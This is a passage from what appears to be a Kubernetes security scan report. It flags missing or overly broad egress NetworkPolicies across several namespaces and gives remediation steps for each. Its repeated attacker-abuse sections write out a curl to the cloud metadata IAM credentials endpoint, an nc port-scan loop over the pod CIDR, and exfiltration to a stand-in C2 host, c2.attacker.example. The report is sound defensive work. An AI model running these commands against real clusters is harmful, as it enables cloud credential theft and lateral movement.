  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Pod"
workload_name
"foothold-decoy"
workload_namespace
"foothold-exec"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Pod",
  "workload_name": "foothold-decoy",
  "workload_namespace": "foothold-exec"
}
HIGH Pod/foothold-exec/foothold-target Workload 7.8
Workload Pod/foothold-exec/foothold-target has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Pod/foothold-exec/foothold-target: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Pod/foothold-exec/foothold-target Namespace: foothold-exec

Workload Pod/foothold-exec/foothold-target runs in namespace foothold-exec and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Attacker gains RCE in Pod/foothold-exec/foothold-target via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in foothold-exec (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec foothold-target -n foothold-exec -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Pod"
workload_name
"foothold-target"
workload_namespace
"foothold-exec"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Pod",
  "workload_name": "foothold-target",
  "workload_namespace": "foothold-exec"
}
HIGH

NetworkPolicy flat-network/allow-broad allows egress to 0.0.0.0/0 (entire internet)

KUBE-NETPOL-WEAKNESS-002 2 subjects Score 7.6

Affected subjects (2)

HIGH NetworkPolicy/flat-network/allow-broad Object 7.6
NetworkPolicy flat-network/allow-broad allows egress to 0.0.0.0/0 (entire internet)
Scope · Object NetworkPolicy flat-network/allow-broad: the workloads it selects can reach any IPv4/IPv6 destination
Category: Lateral Movement Resource: NetworkPolicy/flat-network/allow-broad Namespace: flat-network

NetworkPolicy flat-network/allow-broad contains an egress rule whose ipBlock.cidr is 0.0.0.0/0. This is the broadest possible CIDR, semantically equivalent to "allow this workload to make outbound connections to any destination." Because NetworkPolicy egress rules are additive, this single rule defeats whatever segmentation other policies tried to build for the selected pods.

Two properties make this rule especially dangerous: (1) 0.0.0.0/0 includes the link-local range that holds the cloud Instance Metadata Service (169.254.169.254/32 on AWS/Azure, metadata.google.internal on GCP), so a compromised pod can scrape node IAM credentials and pivot to the underlying cloud account; (2) 0.0.0.0/0 also includes the Pod and Service CIDRs of the cluster itself, so the rule does not just open the internet. It also opens inter-namespace traffic for the selected pods unless an except: block carves out the cluster ranges.

A correctly-scoped egress policy uses an ipBlock with the specific CIDRs the workload needs (a private VPC peer, a known SaaS provider's published range), or a namespaceSelector + podSelector pair to a named in-cluster dependency. 0.0.0.0/0 should never appear in a production egress allow rule.

Impact Selected workload can reach any IP, including cloud IMDS (credential theft) and arbitrary attacker C2 (data exfiltration). This turns any pod compromise into cloud-account compromise.
How an attacker abuses this
  1. Attacker compromises a pod selected by allow-broad.spec.podSelector.
  2. They hit http://169.254.169.254/latest/meta-data/iam/security-credentials/ and pull the node's IAM credentials. The egress rule allows this because IMDS is inside 0.0.0.0/0.
  3. They use stolen IAM credentials with aws sts get-caller-identity then enumerate the cloud account.
  4. They open an outbound TLS connection to c2.attacker.example on 443 (covered by the same broad rule) and exfiltrate harvested secrets.
  5. They abuse the same broad CIDR to reach other in-cluster Services unless except: carves out the cluster ranges.
Remediation
Replace 0.0.0.0/0 with the specific CIDRs the workload needs, or use namespaceSelector/podSelector for in-cluster destinations, and explicitly carve out the IMDS range.
  1. Inventory what allow-broad's selected pods actually need to reach (use kubectl exec ... -- ss -tnp or VPC flow logs).
  2. Replace the 0.0.0.0/0 rule with a specific allowlist: ipBlocks for required SaaS CIDRs, namespaceSelector/podSelector for in-cluster targets.
  3. At a CNI tier (Calico GlobalNetworkPolicy or Cilium ClusterwideNetworkPolicy), add a non-overridable deny for 169.254.169.254/32.
  4. Validate with a netshoot pod: confirm legitimate destinations resolve and connect; confirm curl --max-time 3 http://169.254.169.254/ and arbitrary internet hosts time out.
  5. Add a Kyverno or OPA Gatekeeper policy that rejects any new NetworkPolicy whose ipBlock CIDR is 0.0.0.0/0 or ::/0.
Evidence
Policyallow-broad
CIDR0.0.0.0/0
Entire IPv4 internet: egress here can exfiltrate to any host
Show raw JSON
{
  "cidr": "0.0.0.0/0",
  "policy": "allow-broad"
}
HIGH NetworkPolicy/netpol-imds/allow-everywhere Object 7.6
NetworkPolicy netpol-imds/allow-everywhere allows egress to 0.0.0.0/0 (entire internet)
Scope · Object NetworkPolicy netpol-imds/allow-everywhere: the workloads it selects can reach any IPv4/IPv6 destination
Category: Lateral Movement Resource: NetworkPolicy/netpol-imds/allow-everywhere Namespace: netpol-imds

NetworkPolicy netpol-imds/allow-everywhere contains an egress rule whose ipBlock.cidr is 0.0.0.0/0. This is the broadest possible CIDR, semantically equivalent to "allow this workload to make outbound connections to any destination." Because NetworkPolicy egress rules are additive, this single rule defeats whatever segmentation other policies tried to build for the selected pods.

Two properties make this rule especially dangerous: (1) 0.0.0.0/0 includes the link-local range that holds the cloud Instance Metadata Service (169.254.169.254/32 on AWS/Azure, metadata.google.internal on GCP), so a compromised pod can scrape node IAM credentials and pivot to the underlying cloud account; (2) 0.0.0.0/0 also includes the Pod and Service CIDRs of the cluster itself, so the rule does not just open the internet. It also opens inter-namespace traffic for the selected pods unless an except: block carves out the cluster ranges.

A correctly-scoped egress policy uses an ipBlock with the specific CIDRs the workload needs (a private VPC peer, a known SaaS provider's published range), or a namespaceSelector + podSelector pair to a named in-cluster dependency. 0.0.0.0/0 should never appear in a production egress allow rule.

Impact Selected workload can reach any IP, including cloud IMDS (credential theft) and arbitrary attacker C2 (data exfiltration). This turns any pod compromise into cloud-account compromise.
How an attacker abuses this
  1. Attacker compromises a pod selected by allow-everywhere.spec.podSelector.
  2. They hit http://169.254.169.254/latest/meta-data/iam/security-credentials/ and pull the node's IAM credentials. The egress rule allows this because IMDS is inside 0.0.0.0/0.
  3. They use stolen IAM credentials with aws sts get-caller-identity then enumerate the cloud account.
  4. They open an outbound TLS connection to c2.attacker.example on 443 (covered by the same broad rule) and exfiltrate harvested secrets.
  5. They abuse the same broad CIDR to reach other in-cluster Services unless except: carves out the cluster ranges.
Remediation
Replace 0.0.0.0/0 with the specific CIDRs the workload needs, or use namespaceSelector/podSelector for in-cluster destinations, and explicitly carve out the IMDS range.
  1. Inventory what allow-everywhere's selected pods actually need to reach (use kubectl exec ... -- ss -tnp or VPC flow logs).
  2. Replace the 0.0.0.0/0 rule with a specific allowlist: ipBlocks for required SaaS CIDRs, namespaceSelector/podSelector for in-cluster targets.
  3. At a CNI tier (Calico GlobalNetworkPolicy or Cilium ClusterwideNetworkPolicy), add a non-overridable deny for 169.254.169.254/32.
  4. Validate with a netshoot pod: confirm legitimate destinations resolve and connect; confirm curl --max-time 3 http://169.254.169.254/ and arbitrary internet hosts time out.
  5. Add a Kyverno or OPA Gatekeeper policy that rejects any new NetworkPolicy whose ipBlock CIDR is 0.0.0.0/0 or ::/0.
Evidence
Policyallow-everywhere
CIDR0.0.0.0/0
Entire IPv4 internet: egress here can exfiltrate to any host
Show raw JSON
{
  "cidr": "0.0.0.0/0",
  "policy": "allow-everywhere"
}
HIGH

Namespace cert-manager has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint

KUBE-NETPOL-COVERAGE-001 35 subjects Score 7.4

Affected subjects (35)

HIGH Namespace/cert-manager/cert-manager Namespace 7.4
Namespace cert-manager has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cert-manager: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cert-manager/cert-manager Namespace: cert-manager

Namespace cert-manager contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cert-manager and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cert-manager, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cert-manager.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cert-manager --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecert-manager
Show raw JSON
{
  "namespace": "cert-manager"
}
HIGH Namespace/cloud-eks-imp/cloud-eks-imp Namespace 7.4
Namespace cloud-eks-imp has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cloud-eks-imp: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cloud-eks-imp/cloud-eks-imp Namespace: cloud-eks-imp

Namespace cloud-eks-imp contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cloud-eks-imp and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cloud-eks-imp, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cloud-eks-imp.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cloud-eks-imp --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecloud-eks-imp
Show raw JSON
{
  "namespace": "cloud-eks-imp"
}
HIGH Namespace/cloud-eks-test/cloud-eks-test Namespace 7.4
Namespace cloud-eks-test has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cloud-eks-test: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cloud-eks-test/cloud-eks-test Namespace: cloud-eks-test

Namespace cloud-eks-test contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cloud-eks-test and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cloud-eks-test, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cloud-eks-test.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cloud-eks-test --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecloud-eks-test
Show raw JSON
{
  "namespace": "cloud-eks-test"
}
HIGH Namespace/containersec-fixtures/containersec-fixtures Namespace 7.4
Namespace containersec-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace containersec-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/containersec-fixtures/containersec-fixtures Namespace: containersec-fixtures

Namespace containersec-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in containersec-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in containersec-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to containersec-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n containersec-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecontainersec-fixtures
Show raw JSON
{
  "namespace": "containersec-fixtures"
}
HIGH Namespace/csr-fixtures/csr-fixtures Namespace 7.4
Namespace csr-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace csr-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/csr-fixtures/csr-fixtures Namespace: csr-fixtures

Namespace csr-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in csr-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in csr-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to csr-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n csr-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecsr-fixtures
Show raw JSON
{
  "namespace": "csr-fixtures"
}
HIGH Namespace/cutres-deputy-tenant/cutres-deputy-tenant Namespace 7.4
Namespace cutres-deputy-tenant has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cutres-deputy-tenant: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cutres-deputy-tenant/cutres-deputy-tenant Namespace: cutres-deputy-tenant

Namespace cutres-deputy-tenant contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cutres-deputy-tenant and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cutres-deputy-tenant, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cutres-deputy-tenant.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cutres-deputy-tenant --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecutres-deputy-tenant
Show raw JSON
{
  "namespace": "cutres-deputy-tenant"
}
HIGH Namespace/cutres-pods-a/cutres-pods-a Namespace 7.4
Namespace cutres-pods-a has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cutres-pods-a: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cutres-pods-a/cutres-pods-a Namespace: cutres-pods-a

Namespace cutres-pods-a contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cutres-pods-a and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cutres-pods-a, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cutres-pods-a.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
